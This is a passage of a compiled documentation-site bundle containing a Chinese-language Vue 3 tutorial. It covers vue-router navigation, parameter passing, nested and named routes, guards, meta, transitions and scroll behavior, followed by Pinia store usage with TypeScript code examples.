+router. push ( { path : \` /user/ \${ username} \` } ) ;
+
+router. push ( { name : "user" , params : { username } } ) ;
+
+router. push ( { path : "/user" , params : { username } } ) ;
+
由于属性 to
与 router.push
接受的对象种类相同,所以两者的规则完全相同。
`,11),ct=n("code",null,"router.push",-1),lt=n("em",null,"Promise",-1),it={href:"https://router.vuejs.org/zh/guide/advanced/navigation-failures.html",target:"_blank",rel:"noopener noreferrer"},ut=n("hr",null,null,-1),rt=n("h3",{id:"历史记录",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#历史记录","aria-hidden":"true"},"#"),s(" 历史记录")],-1),kt={href:"https://blog.csdn.net/qq1195566313/article/details/123590884",target:"_blank",rel:"noopener noreferrer"},dt=p(`使用 replace
可以在不留下历史记录的情况下跳转页面
就是不支持前进回退了, 当不需要用户回退上个界面的时候可以使用这个, 比如登录后不需要再返回登录界面
+const switchToMarquee_no_record = ( ) : void => {
+ router. replace ( "/marquee" ) ;
+} ;
+
+< el-button @click = " switchToMarquee_no_record"
+ > 不留历史记录跳转到跑马灯</ el-button
+>
+
当然, 同样的前进
和 回退
操作也是支持自定义按钮及层级的
+const forward = ( ) : void => {
+ router. forward ( ) ;
+
+} ;
+
+
+const back = ( ) : void => {
+ router. back ( ) ;
+
+} ;
+
+< el-button @click = " forward" > 前进 1 级界面</ el-button>
+
+< el-button @click = " back" > 回退 1 级界面</ el-button>
+
路由传参 `,11),vt={href:"https://blog.csdn.net/qq1195566313/article/details/123613595",target:"_blank",rel:"noopener noreferrer"},mt={href:"https://router.vuejs.org/zh/guide/essentials/passing-props.html",target:"_blank",rel:"noopener noreferrer"},gt=p(`query 传参和 params 传参的区别
query 传参配置的是 path,而 params 传参配置的是 name,在 params 中配置 path 无效 query 在路由配置不需要设置参数,而 params 必须设置 query 传递的参数会显示在地址栏中 params 传参刷新会无效,但是 query 会保存传递过来的值,刷新不变 ; 路由配置 query 路由传参 GoodsWarehouse.vue
:
< script setup lang = " ts" >
+import router from "@/router" ;
+import { data } from "./goods.json" ;
+
+type good = {
+ id : number;
+ name : string;
+ price : number;
+} ;
+
+
+const toGoodsDetail = ( good : good) => {
+ router. push ( {
+ path : "/goodInfo" ,
+ query : good,
+ } ) ;
+} ;
+ </ script>
+
+< template>
+ < div>
+ < el-table :data = " data" >
+ < el-table-column label = " 商品名称" prop = " name" width = " 180" >
+ </ el-table-column>
+ < el-table-column label = " 商品价格" prop = " price" width = " 180" >
+ </ el-table-column>
+
+ < el-table-column label = " 商品id" prop = " id" width = " 180" > </ el-table-column>
+ < el-table-column label = " 操作" width = " 180" >
+
+ < template #default = " scope" >
+ < el-button @click = " toGoodsDetail(scope.row)" type = " text"
+ > 查看详情</ el-button
+ >
+ </ template>
+ </ el-table-column>
+ </ el-table>
+ </ div>
+</ template>
+
+< style lang = " less" scoped > </ style>
+
el-table
中可以使用插槽来获取单行数据
GoodInfo.vue
:
< script setup lang = " ts" >
+import { useRoute, useRouter } from "vue-router" ;
+
+const route = useRoute ( ) ;
+const router = useRouter ( ) ;
+ </ script>
+
+< template>
+ < div>
+
+ < el-button @click = " router.push('/goodsWarehouse')"
+ > 返回商品货仓界面</ el-button
+ >
+ < el-row> id: {{ route.query.id }} </ el-row>
+ < el-row> 商品名称 {{ route.query.name }} </ el-row>
+ < el-row> 商品价格: {{ route.query.price }} </ el-row>
+ </ div>
+</ template>
+
+< style lang = " less" scoped > </ style>
+
子界面使用 useRoute().query.xx
获取传入数据
使用 Params 传参
+const toGoodsDetail_params = ( good: good) => {
+ router. push ( {
+ name: "goodInfo" ,
+ params: good,
+ } ) ;
+} ;
+
+< el-card>
+ < template #header >
+ < div class = " card-header" > params 传参, route.params 接收参数</ div>
+ </ template>
+ < div>
+ < el-row> id: {{ route.params?.id }} </ el-row>
+ < el-row> 商品名称 {{ route.params?.name }} </ el-row>
+ < el-row> 商品价格: {{ route.params?.price }} </ el-row>
+ </ div>
+</ el-card>
+
动态路由 `,18),bt={href:"https://router.vuejs.org/zh/guide/essentials/dynamic-matching.html#%E5%B8%A6%E5%8F%82%E6%95%B0%E7%9A%84%E5%8A%A8%E6%80%81%E8%B7%AF%E7%94%B1%E5%8C%B9%E9%85%8D",target:"_blank",rel:"noopener noreferrer"},ht=p(`设置动态路由:
{
+ path: '/goodInfo/:id' ,
+ name: 'goodInfo' ,
+ component : ( ) => import ( '@/components/GoodsWarehouse/GoodInfo.vue' )
+ }
+
+const toGoodsDetail_dynamic = ( good: good) => {
+ router. push ( {
+ name: "goodInfo" ,
+ params: {
+ id: good. id,
+ } ,
+ } ) ;
+} ;
+
import { useRoute, useRouter } from "vue-router" ;
+import { data } from "./goods.json" ;
+
+const route = useRoute ( ) ;
+const router = useRouter ( ) ;
+
+const item = data. find ( ( v) => v. id === Number ( route. params. id) ) ;
+
+< el-card>
+ < template #header >
+ < div class = " card-header" > 动态路由传参, 导入数据结合传入id提取目标数据</ div>
+ </ template>
+ < div>
+ < el-row> id: {{ item?.id }} </ el-row>
+ < el-row> 商品名称 {{ item?.name }} </ el-row>
+ < el-row> 商品价格: {{ item?.price }} </ el-row>
+ </ div>
+</ el-card>
+
动态路由传参也是通过 Params, 因此除了根据 id 定位 data 中的相应条目数据
params 直接传一个 good 对象即可(good 对象中有 id 属性, 默认会赋给 id)
只传 id 然后结合 data 取值可以通过网址直接访问具体商品的详情(网址里传了 id)
嵌套路由 `,9),qt={href:"https://blog.csdn.net/qq1195566313/article/details/123618719",target:"_blank",rel:"noopener noreferrer"},yt=p(`比如导航菜单栏做成父路由, 具体内容做成子路由
首先在路由表里把子路由嵌套进父路由的 children
属性中:
{
+ path: '/goodsWarehouse' ,
+ name: 'goodsWarehouse' ,
+ component : ( ) => import ( '@/components/GoodsWarehouse/footer.vue' ) ,
+ children: [
+ {
+
+ path: '' ,
+ name: 'goodsWarehouseMain' ,
+ component : ( ) => import ( '@/components/GoodsWarehouse/GoodsWarehouse.vue' )
+ } ,
+ {
+ path: '/goodInfo/:id' ,
+ name: 'goodInfo' ,
+ component : ( ) => import ( '@/components/GoodsWarehouse/GoodInfo.vue' )
+ }
+ ]
+ } ,
+
然后在组件中使用 <router-view>
展示子路由
footer
:
< script setup lang = " ts" >
+import router from "@/router" ;
+ </ script>
+
+< template>
+ < el-card>
+ < template #header >
+ < div class = " card-header" > 我是父路由</ div>
+ < div class = " card-header" >
+
+ < el-button @click = " router.push('/goodsWarehouse')"
+ > 返回货仓主界面</ el-button
+ >
+
+ < el-button @click = " router.push('/goodInfo/1')"
+ > 前往商品1详情页</ el-button
+ >
+ </ div>
+ </ template>
+ < router-view> </ router-view>
+ </ el-card>
+</ template>
+
+< style lang = " less" scoped >
+.card-header {
+ // 文字居中
+ text-align : center;
+}
+ </ style>
+
命名视图 `,10),ft={href:"https://blog.csdn.net/qq1195566313/article/details/123671069",target:"_blank",rel:"noopener noreferrer"},_t={href:"https://router.vuejs.org/zh/guide/essentials/named-routes.html",target:"_blank",rel:"noopener noreferrer"},wt=p(`命名视图和插槽比较像
有时候想同时 (同级) 展示多个视图,而不是嵌套展示,例如创建一个布局,有 sidebar
(侧导航) 和 main
(主内容) 两个视图,这个时候命名视图就派上用场了。你可以在界面中拥有多个单独命名的视图,而不是只有一个单独的出口。如果 router-view
没有设置名字,那么默认为 default
。
< router-view class = " view left-sidebar" name = " LeftSidebar" > </ router-view>
+< router-view class = " view main-content" > </ router-view>
+< router-view class = " view right-sidebar" name = " RightSidebar" > </ router-view>
+
一个视图使用一个组件渲染,因此对于同个路由,多个视图就需要多个组件。确保正确使用 components
配置 (带上 s ):
const router = createRouter ( {
+ history : createWebHashHistory ( ) ,
+ routes : [
+ {
+ path : "/" ,
+ components : {
+ default : Home,
+
+ LeftSidebar,
+
+ RightSidebar,
+ } ,
+ } ,
+ ] ,
+} ) ;
+
在路由表上进行相关配置:
{
+ path: '/namedVIew' ,
+ name: 'namedView' ,
+ component : ( ) => import ( '@/components/NamedViewsTest/root.vue' ) ,
+ children: [ {
+ path: "user1" ,
+ components: {
+ default : ( ) => import ( '@/components/NamedViewsTest/A.vue' ) ,
+ }
+ } ,
+ {
+ path: "user2" ,
+ components: {
+ b : ( ) => import ( '@/components/NamedViewsTest/B.vue' ) ,
+ c : ( ) => import ( '@/components/NamedViewsTest/C.vue' )
+ }
+ }
+ ]
+ }
+
这是由一组嵌套路由和两组命名视图组成的(
A B C 组件
中只有象征性的 Component X
字符串
root.vue
:
< script setup lang = " ts" > </ script>
+
+< template>
+
+ < el-button @click = " $router.push('/')" > 返回主界面</ el-button>
+
+ < el-button @click = " $router.push('/namedView/user1')" > 跳转到 user1</ el-button>
+
+ < el-button @click = " $router.push('/namedView/user2')" > 跳转到 user2</ el-button>
+ < router-view> </ router-view>
+ < router-view name = " b" > </ router-view>
+ < router-view name = " c" > </ router-view>
+</ template>
+
+< style lang = " less" scoped > </ style>
+
root.vue
中的三个 router-view
第一个其实就是指 default
, 如果在路由表的 user2
中加上 default
组件那么跳转到 user2
界面时就能看到三个组件界面了
{
+ path: "user2" ,
+ components: {
+ default : ( ) => import ( '@/components/NamedViewsTest/A.vue' ) ,
+ b : ( ) => import ( '@/components/NamedViewsTest/B.vue' ) ,
+ c : ( ) => import ( '@/components/NamedViewsTest/C.vue' )
+ }
+ }
+
重定向和别名 `,15),xt={href:"https://blog.csdn.net/qq1195566313/article/details/123697904",target:"_blank",rel:"noopener noreferrer"},Et={href:"https://router.vuejs.org/zh/guide/essentials/redirect-and-alias.html",target:"_blank",rel:"noopener noreferrer"},Bt={href:"https://router.vuejs.org/guide/essentials/redirect-and-alias.html",target:"_blank",rel:"noopener noreferrer"},At=p(` 重定向 重定向可以用于将主页面路由重定向到想要作为默认页面的子页面路由上, 以 命名视图 中的例子为基准, 其主页面路由为 /namedView
:
想要将 namedView 主页面
重定向到 user1
的话可以在路由表中加个 redirect
:
{
+ path: '/namedVIew' ,
+ name: 'namedView' ,
+ redirect: '/namedView/user1' ,
+ component : ( ) => import ( '@/components/NamedViewsTest/root.vue' ) ,
+ children: [ {
+ path: "user1" ,
+ components: {
+ default : ( ) => import ( '@/components/NamedViewsTest/A.vue' ) ,
+ }
+ } ,
+ {
+ path: "user2" ,
+ components: {
+ b : ( ) => import ( '@/components/NamedViewsTest/B.vue' ) ,
+ c : ( ) => import ( '@/components/NamedViewsTest/C.vue' )
+ }
+ }
+ ]
+ }
+
redirect
除了可以写路径字符串外还可以使用对象形式配置:
redirect: { path: '/namedView/user1' } ,
+
以及函数形式(可以传参):
redirect : to => {
+
+ return {
+ path: '/namedView/user1' ,
+ query: {
+ name: '233'
+ }
+ }
+} ,
+
别名 顾名思义可以给路由定义别名, 比如给 namedView
定义两个别名 namedView1, namedView2
可以在路由表中使用 alias
属性进行定义:
path: '/namedVIew' ,
+name: 'namedView' ,
+
+alias: [ '/namedView1' , '/namedView2' ] ,
+
+< el-button @click = " $router.push('/namedView1')" > 跳转到 namedView1</ el-button>
+
+< el-button @click = " $router.push('/namedView2')" > 跳转到 namedView2</ el-button>
+
导航守卫 `,20),jt={href:"https://router.vuejs.org/zh/guide/advanced/navigation-guards.html",target:"_blank",rel:"noopener noreferrer"},Vt={href:"https://blog.csdn.net/qq1195566313/article/details/123699583",target:"_blank",rel:"noopener noreferrer"},Ct={href:"https://router.vuejs.org/guide/advanced/navigation-guards.html",target:"_blank",rel:"noopener noreferrer"},Tt=p(`vue-router 提供的导航守卫主要用来通过跳转或取消的方式守卫导航。这里有很多方式植入路由导航中:全局的,单个路由独享的,或者组件级的。
所有的跳转和前进后退都会走导航守卫函数, 因此做路由权限用得比较多
全局前置守卫 比如在登录时存一个 token
, 当直接通过路由访问界面时先判断当前路由是否在路由白名单中或者当前已登录(存了 token, 或者其他复杂的加密算法) 则放通路由, 否则重定位回登录界面
main.ts
:
+const whiteList = [ "/login" , "/404" , "/401" , "/lock" ] ;
+
+
+router. beforeEach ( ( to, from, next) => {
+
+ if ( whiteList. indexOf ( to. path) !== - 1 || localStorage. getItem ( "token" ) ) {
+ next ( ) ;
+ } else {
+
+ next ( "/login" ) ;
+ }
+} ) ;
+
路由表:
+{
+ path: '/' ,
+ name: 'login' ,
+ alias: '/login' ,
+ component : ( ) => import ( '@/views/NavigationGuardTest/login.vue' ) ,
+} ,
+
+{
+ path: "/navigation" ,
+ name: "navigation" ,
+ component : ( ) => import ( "@/components/Navigation/Navigation.vue" )
+} ,
+
login.vue
:
< script setup lang = " ts" >
+import { reactive, ref, Ref } from "vue" ;
+import type { FormInstance, FormItemRule } from "element-plus" ;
+import { ElMessage } from "element-plus" ;
+import router from "@/router" ;
+
+
+type FormData = {
+ account : string;
+ password : string;
+} ;
+
+
+const form = ref< FormInstance> ( ) ;
+
+
+type Rules = {
+ [ K in keyof FormData] ? : Array< FormItemRule> ;
+} ;
+
+
+const formLabelAlign = reactive< FormData> ( {
+
+ account : "" ,
+
+ password : "" ,
+} ) ;
+
+
+const rules = reactive< Rules> ( {
+ account : [
+ {
+ required : true ,
+ message : "请输入账号" ,
+ type : "string" ,
+ } ,
+ ] ,
+ password : [
+ {
+ required : true ,
+ message : "请输入密码" ,
+ type : "string" ,
+ } ,
+ ] ,
+} ) ;
+
+
+const showPassword : Ref< boolean> = ref ( false ) ;
+
+
+const login = ( ) : void => {
+ form. value?. validate ( ( validate ) => {
+ if ( validate) {
+
+ router. push ( "/navigation" ) ;
+
+ localStorage. setItem ( "token" , "1" ) ;
+ } else {
+
+ ElMessage. error ( "请检查表单错误" ) ;
+ }
+ } ) ;
+} ;
+ </ script>
+
+< template>
+ < div class = " login" >
+ < el-card class = " box-card" >
+ < template #header >
+ < div class = " card-header" >
+
+ < el-button @click = " $router.push('/')" > 返回主界面</ el-button>
+ Login
+ </ div>
+ </ template>
+ < el-form :model = " formLabelAlign" :rules = " rules" ref = " form" >
+ < el-form-item label = " 账号:" prop = " account" >
+ < el-input
+ v-model = " formLabelAlign.account"
+ placeholder = " 请输入账号"
+ > </ el-input>
+ </ el-form-item>
+ < el-form-item label = " 密码:" prop = " password" >
+
+ < el-input
+ v-model = " formLabelAlign.password"
+ type = " password"
+ show-password
+ show-password-icon
+ @click = " showPassword = !showPassword"
+ placeholder = " 请输入密码"
+ />
+ </ el-form-item>
+ < el-form-item>
+
+ < el-button type = " primary" @click = " login" > 登录</ el-button>
+ </ el-form-item>
+ </ el-form>
+ </ el-card>
+ </ div>
+</ template>
+
+< style lang = " less" scoped >
+.login {
+ height : 100%;
+ display : flex;
+ justify-content : center;
+ align-items : center;
+}
+
+.card-header {
+ display : flex;
+ align-items : center;
+ justify-content : space-between;
+}
+
+.box-card {
+ width : 480px;
+}
+ </ style>
+
这里使用了 ElementPlus
的表单控件并配了示例性质的表单校验
全局后置钩子 和守卫不同的是,钩子不会接受 next
函数也不会改变导航本身:
router. afterEach ( ( to, from ) => {
+ sendToAnalytics ( to. fullPath) ;
+} ) ;
+
它们对于分析、更改页面标题、声明页面等辅助功能以及许多其他事情都很有用。
`,16),St={href:"https://router.vuejs.org/zh/guide/advanced/navigation-failures.html",target:"_blank",rel:"noopener noreferrer"},Lt=p(`router. afterEach ( ( to, from, failure ) => {
+ if ( ! failure) sendToAnalytics ( to. fullPath) ;
+} ) ;
+
路由元信息 `,3),Dt={href:"https://router.vuejs.org/zh/guide/advanced/meta.html",target:"_blank",rel:"noopener noreferrer"},Pt={href:"https://blog.csdn.net/qq1195566313/article/details/123766639",target:"_blank",rel:"noopener noreferrer"},Nt=p(`通过路由记录的 meta
属性可以定义路由的元信息 。使用路由元信息可以在路由中附加自定义的数据,例如:
权限校验标识。 路由组件的过渡名称。 路由组件持久化缓存 (keep-alive) 的相关配置。 标题名称 我们可以在导航守卫 或者是路由对象 中访问路由的元信息数据。
比如我们给每个页面路由加一个 meta
属性, 其中包含一个 title
字段, 并在 beforeEach
中读取 title
并赋给当前界面标题:
路由表
:
+{
+ path: '/' ,
+ name: 'login' ,
+ alias: '/login' ,
+
+ meta: {
+ title: '登录页面' ,
+ } ,
+ component : ( ) => import ( '@/views/NavigationGuardTest/login.vue' ) ,
+} ,
+
+{
+ path: "/navigation" ,
+ name: "navigation" ,
+ meta: {
+ title: '组件导航页面'
+ } ,
+ component : ( ) => import ( "@/components/Navigation/Navigation.vue" )
+} ,
+
+
+
+
+declare module 'vue-router' {
+ interface RouteMeta {
+ title: string
+ }
+}
+
+
+router. beforeEach ( ( to, from, next) => {
+ document. title = to. meta. title
+
+ render ( LoadingBarVNode, document. body)
+ LoadingBarVNode. component?. exposed?. startLoading ( )
+
+ if ( whiteList. indexOf ( to. path) !== - 1 || localStorage. getItem ( 'token' ) ) {
+ next ( )
+ } else {
+
+ next ( '/login' )
+ }
+} )
+
过渡动效 `,9),Mt={href:"https://router.vuejs.org/zh/guide/advanced/transitions.html",target:"_blank",rel:"noopener noreferrer"},It={href:"https://blog.csdn.net/qq1195566313/article/details/123767240",target:"_blank",rel:"noopener noreferrer"},Rt={href:"https://router.vuejs.org/zh/api/#router-view-s-v-slot",target:"_blank",rel:"noopener noreferrer"},Ht=p(`< router-view v-slot = " { Component }" >
+ < transition name = " fade" >
+ < component :is = " Component" />
+ </ transition>
+</ router-view>
+
`,1),Ft={href:"https://animate.style/#usage",target:"_blank",rel:"noopener noreferrer"},Ut=p(`首先在路由表里给每个路由的 meta
加上一个 transition
字段:
+{
+ path: '/' ,
+ name: 'login' ,
+ alias: '/login' ,
+
+ meta: {
+ title: '登录页面' ,
+ transition: 'animate__fadeIn' ,
+ } ,
+ component : ( ) => import ( '@/views/NavigationGuardTest/login.vue' ) ,
+} ,
+
+{
+ path: "/navigation" ,
+ name: "navigation" ,
+ meta: {
+ title: '组件导航页面' ,
+ transition: 'animate__fadeIn' ,
+ } ,
+ component : ( ) => import ( "@/components/Navigation/Navigation.vue" )
+} ,
+
+
+
图省事每个路由的 transition
都填的淡入效果
然后在使用 router-view
时通过插槽解出 route(当前路由信息)
和 Component(当前VNode)
并使用过渡效果
< script setup lang= "ts" >
+ import 'animate.css'
+< / script>
+
< template>
+
+ < router-view #default = " { route, Component }" >
+ < transition
+ :enter-active-class = " \`animate__animated \${route.meta.transition}\`"
+ >
+ < component :is = " Component" > </ component>
+ </ transition>
+ </ router-view>
+</ template>
+
滚动行为 `,9),zt={href:"https://router.vuejs.org/zh/guide/advanced/scroll-behavior.html#%E6%BB%9A%E5%8A%A8%E8%A1%8C%E4%B8%BA",target:"_blank",rel:"noopener noreferrer"},Wt={href:"https://blog.csdn.net/qq1195566313/article/details/123770440",target:"_blank",rel:"noopener noreferrer"},$t=p(`使用前端路由,当切换到新路由时,想要页面滚到顶部,或者是保持原先的滚动位置,就像重新加载页面那样。 vue-router 能做到,而且更好,它让你可以自定义路由切换时页面如何滚动。
注意: 这个功能只在支持 history.pushState 的浏览器中可用。
当创建一个 Router 实例,你可以提供一个 scrollBehavior
方法:
const router = createRouter ( {
+ history : createWebHashHistory ( ) ,
+ routes : [ ... ] ,
+ scrollBehavior ( to, from, savedPosition ) {
+
+ }
+} )
+
比如想让路由跳转时记住当前页面滚动条位置并在下次回到当前页面时保持此位置(若无则默认滚动到顶部) 可以如下操作:
在路由表 router
创建时:
+const router = createRouter ( {
+ history: createWebHistory ( ) ,
+ routes,
+ scrollBehavior ( to, from, savedPosition) {
+ console . log ( "savaPosition" , savedPosition) ;
+ if ( savedPosition) {
+ return savedPosition;
+ } else {
+ return { top: 0 } ;
+ }
+ } ,
+} ) ;
+
动态路由 `,10),Jt={href:"https://blog.csdn.net/qq1195566313/article/details/123783173",target:"_blank",rel:"noopener noreferrer"},Ot={href:"https://router.vuejs.org/zh/guide/advanced/dynamic-routing.html",target:"_blank",rel:"noopener noreferrer"},Gt={href:"https://router.vuejs.org/zh/api/#routes",target:"_blank",rel:"noopener noreferrer"},Xt=n("code",null,"routes",-1),Yt={href:"https://cli.vuejs.org/dev-guide/ui-api.html",target:"_blank",rel:"noopener noreferrer"},Kt=n("blockquote",null,[n("p",null,"常用于分权限, 比如不同用户看到的页面功能不同")],-1),Zt=n("hr",null,null,-1),Qt=n("h2",{id:"vuex",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#vuex","aria-hidden":"true"},"#"),s(" Vuex")],-1),np=n("p",null,[s("Vuex 是一个专为 Vue.js 应用程序开发的 "),n("strong",null,"状态管理模式 + 库"),s("。它采用集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方式发生变化。")],-1),sp=n("h4",{id:"什么情况下我应该使用-vuex",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#什么情况下我应该使用-vuex","aria-hidden":"true"},"#"),s(" 什么情况下我应该使用 Vuex?")],-1),ap=n("p",null,"Vuex 可以帮助我们管理共享状态,并附带了更多的概念和框架。这需要对短期和长期效益进行权衡。",-1),tp={href:"https://v3.cn.vuejs.org/guide/state-management.html#%E4%BB%8E%E9%9B%B6%E6%89%93%E9%80%A0%E7%AE%80%E5%8D%95%E7%8A%B6%E6%80%81%E7%AE%A1%E7%90%86",target:"_blank",rel:"noopener noreferrer"},pp=n("blockquote",null,[n("p",null,"Flux 架构就像眼镜:您自会知道什么时候需要它。")],-1),ep=n("hr",null,null,-1),op=n("h2",{id:"pinia",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#pinia","aria-hidden":"true"},"#"),s(" Pinia")],-1),cp={href:"https://blog.csdn.net/qq1195566313/category_11672479.html",target:"_blank",rel:"noopener noreferrer"},lp={href:"https://pinia.vuejs.org/introduction.html",target:"_blank",rel:"noopener noreferrer"},ip={href:"https://jspang.com/article/82",target:"_blank",rel:"noopener noreferrer"},up=p(`Pinia 是 Vue 生态里 Vuex 的代替者,一个全新 Vue 的状态管理库, 是 Vue3 中推荐的状态管理库
Pinia 也是 Vuex 的开发团队开发的
特点
支持 Vue3 和 Vue2
完整的 TS 支持
足够轻量, 压缩后体积只有 1kb 左右
去除 mutations, 只有 state, getter, actions
actions 支持同步与异步
代码扁平化没有模板嵌套, 只有 store 的概念, store 之前可以自由使用, 每一个 store 都是独立的
无需手动添加 store, store 一旦创建会自动添加
安装 引入注册 Vue3
main.ts
:
import { createApp } from "vue" ;
+import App from "./App.vue" ;
+import { createPinia } from "pinia" ;
+
+const store = createPinia ( ) ;
+let app = createApp ( App) ;
+
+app. use ( store) ;
+
+app. mount ( "#app" ) ;
+
使用 `,12),rp={href:"https://jspang.com/article/82",target:"_blank",rel:"noopener noreferrer"},kp={href:"https://blog.csdn.net/qq1195566313/article/details/123342785",target:"_blank",rel:"noopener noreferrer"},dp=p(`在 main.ts 中引入完 pinia 后就可以创建状态管理库了
再 src
目录下创建一个 store
文件夹, 在其中创建一个 index.ts
文件, 用于
定义状态管理库 修改容器中的 state
仓库中 action
的使用 示例:
@/store/store-names.ts
:
export const enum Names {
+ TEST = "TEST" ,
+}
+
@/store/index.ts
import { defineStore } from "pinia" ;
+import { Names } from "./store-name" ;
+
+export const useTestStore = defineStore ( Names. TEST , {
+
+ state : ( ) => {
+ return {
+ current: 1 ,
+ name: "233" ,
+ } ;
+ } ,
+
+ getters: { } ,
+
+ actions: { } ,
+} ) ;
+
PiniaTest.vue
:
< script setup lang = " ts" >
+import { useTestStore } from "@/store" ;
+
+const useTest = useTestStore ( ) ;
+ </ script>
+
+< template>
+ < div> pinia:{{ useTest.current }} -- {{ useTest.name }}</ div>
+</ template>
+
+< style lang = " less" scoped > </ style>
+
Pinia 状态修改 五种修改方式, 比 vuex 的写法要简洁, 具体示例如下:
@store/index.ts
import { defineStore } from "pinia" ;
+import { Names } from "./store-name" ;
+
+export const useTestStore = defineStore ( Names. TEST , {
+
+ state : ( ) => {
+ return {
+ current: 1 ,
+ name: "Cola" ,
+ } ;
+ } ,
+
+ getters: { } ,
+
+ actions: {
+
+ currentIncrement ( ) {
+ this . current++ ;
+ } ,
+ } ,
+} ) ;
+
PiniaTest.vue
< script setup lang = " ts" >
+import { useTestStore } from "@/store" ;
+
+const useTest = useTestStore ( ) ;
+
+
+const useTestChange1 = ( ) => {
+ useTest. current++ ;
+} ;
+
+const useTestChange2 = ( ) => {
+ useTest. $patch ( {
+ name : "马克杯" ,
+ current : 10 ,
+ } ) ;
+} ;
+
+const useTestChange3 = ( ) => {
+ useTest. $patch ( ( state ) => {
+ state. name = "立牌" ;
+ state. current = 5 ;
+ } ) ;
+} ;
+
+const useTestChange4 = ( ) => {
+ useTest. $state = {
+ name : "小夜灯" ,
+ current : 7 ,
+ } ;
+} ;
+
+const useTestChange5 = ( ) => {
+ useTest. currentIncrement ( ) ;
+} ;
+ </ script>
+
+< template>
+ < div> pinia: {{ useTest.name }} -- \${{ useTest.current }}</ div>
+ < button @click = " useTestChange1" > increment-直接修改属性值</ button>
+ < button @click = " useTestChange2" > 通过$patch批量修改属性</ button>
+ < button @click = " useTestChange3" > $patch的函数式写法</ button>
+ < button @click = " useTestChange4" > 通过原始对象修改整个实例</ button>
+ < button @click = " useTestChange5" > 通过 actions 修改</ button>
+</ template>
+
+< style lang = " less" scoped > </ style>
+
解构 store `,21),vp={href:"https://blog.csdn.net/qq1195566313/article/details/123365751",target:"_blank",rel:"noopener noreferrer"},mp={href:"https://jspang.com/article/82#toc5",target:"_blank",rel:"noopener noreferrer"},gp={href:"https://pinia.vuejs.org/core-concepts/outside-component-usage.html#single-page-applications",target:"_blank",rel:"noopener noreferrer"},bp=p(`直接解构 store 的话没有响应性特性, 需要使用 storeToRefs 方法转换为响应式对象解构出来
< script setup lang = " ts" >
+import { useTestStore } from "@/store" ;
+
+import { storeToRefs } from "pinia" ;
+const useTest = useTestStore ( ) ;
+
+
+const { current, name } = useTest;
+
+const { current : currentRef, name : nameRef } = storeToRefs ( useTest) ;
+
+
+const useTestChange1 = ( ) => {
+ useTest. current++ ;
+} ;
+
+const useTestChange2 = ( ) => {
+ useTest. $patch ( {
+ name : "马克杯" ,
+ current : 10 ,
+ } ) ;
+} ;
+
+const useTestChange3 = ( ) => {
+ useTest. $patch ( ( state ) => {
+ state. name = "立牌" ;
+ state. current = 5 ;
+ } ) ;
+} ;
+
+const useTestChange4 = ( ) => {
+ useTest. $state = {
+ name : "小夜灯" ,
+ current : 7 ,
+ } ;
+} ;
+
+const useTestChange5 = ( ) => {
+ useTest. currentIncrement ( ) ;
+} ;
+ </ script>
+
+< template>
+ < div>
+ < div> pinia: {{ useTest.name }} -- \${{ useTest.current }}</ div>
+ < button @click = " useTestChange1" > increment-直接修改属性值</ button>
+ < button @click = " useTestChange2" > 通过$patch批量修改属性</ button>
+ < button @click = " useTestChange3" > $patch的函数式写法</ button>
+ < button @click = " useTestChange4" > 通过原始对象修改整个实例</ button>
+ < button @click = " useTestChange5" > 通过 actions 修改</ button>
+ </ div>
+ < div>
+ < div>
+ 直接解构: name: {{ name }} --- current: {{ current }} --- 不具有响应式特性
+ </ div>
+ < div>
+ 通过 storeToRefs 解构: name: {{ nameRef }} --- current:
+ {{ currentRef }} --- 具有响应式特性
+ </ div>
+ </ div>
+</ template>
+
+< style lang = " less" scoped > </ style>
+
原理和 toRefs
一样是给数据包一层toRef
在一个 store 中调用另一个 store 的方法和在 SFC 中调用 store 的方法一致:
store-name.ts
:
export const enum Names {
+ TEST = "TEST" ,
+ STUDENT = "STUDENT" ,
+}
+
student.ts
:
import { defineStore } from "pinia" ;
+import { Names } from "./store-name" ;
+
+export const studentStore = defineStore ( Names. STUDENT , {
+ state : ( ) => {
+ return {
+ stuNames: [ "张三" , "李四" , "王五" , "赵六" , "田七" ] ,
+ } ;
+ } ,
+} ) ;
+
index.ts
:
import { defineStore } from "pinia" ;
+import { Names } from "./store-name" ;
+import { studentStore } from "./student" ;
+
+export const useTestStore = defineStore ( Names. TEST , {
+
+ state : ( ) => {
+ return {
+ current: 1 ,
+ name: "Cola" ,
+ } ;
+ } ,
+
+ getters: { } ,
+
+ actions: {
+
+ currentIncrement ( ) {
+ this . current++ ;
+ } ,
+
+ printStudentState ( ) {
+ console . log ( studentStore ( ) . stuNames) ;
+ } ,
+ } ,
+} ) ;
+
PiniaTest.vue
代码片段:
import { useTestStore } from "@/store" ;
+
+import { storeToRefs } from "pinia" ;
+const useTest = useTestStore ( ) ;
+
+
+console . log ( "studentStoreName:" ) ;
+useTest. printStudentState ( ) ;
+
Actions, getters `,17),hp={href:"https://blog.csdn.net/qq1195566313/article/details/123376269",target:"_blank",rel:"noopener noreferrer"},qp={href:"https://pinia.vuejs.org/core-concepts/getters.html",target:"_blank",rel:"noopener noreferrer"},yp={href:"https://pinia.vuejs.org/core-concepts/actions.html",target:"_blank",rel:"noopener noreferrer"},fp={href:"https://jspang.com/article/82#toc4",target:"_blank",rel:"noopener noreferrer"},_p=p(` Actions
同步写法 store-name.ts
片段:
export const enum Names {
+ USER = "USER" ,
+}
+
User.ts
:
import { defineStore } from "pinia" ;
+import { Names } from "./store-name" ;
+import { studentStore } from "./student" ;
+
+type User = {
+ name: string ;
+ age: number ;
+} ;
+
+let result: User = {
+ name: "233" ,
+ age: 21 ,
+} ;
+
+export const userStore = defineStore ( Names. USER , {
+
+ state : ( ) => {
+ return {
+ user: < User> { } ,
+ name: "" ,
+ } ;
+ } ,
+
+ getters: { } ,
+
+ actions: {
+
+ setUser ( ) {
+ console . log ( "设置user" ) ;
+ this . user = result;
+ } ,
+ } ,
+} ) ;
+
PiniaTest.vue
片段:
import { userStore } from "@/store/User" ;
+const userTest = userStore ( ) ;
+
+const changeUserByAction = ( ) => {
+ userTest. setUser ( ) ;
+} ;
+
< div>
+ < p> actions-user: {{ userTest.user }}</ p>
+ < p> actions-name: {{ userTest.name }}</ p>
+ < p> getters:</ p>
+ < button @click = " changeUserByAction" > 通过 action 修改 user</ button>
+</ div>
+
Actions 异步写法 user.ts
代码片段:
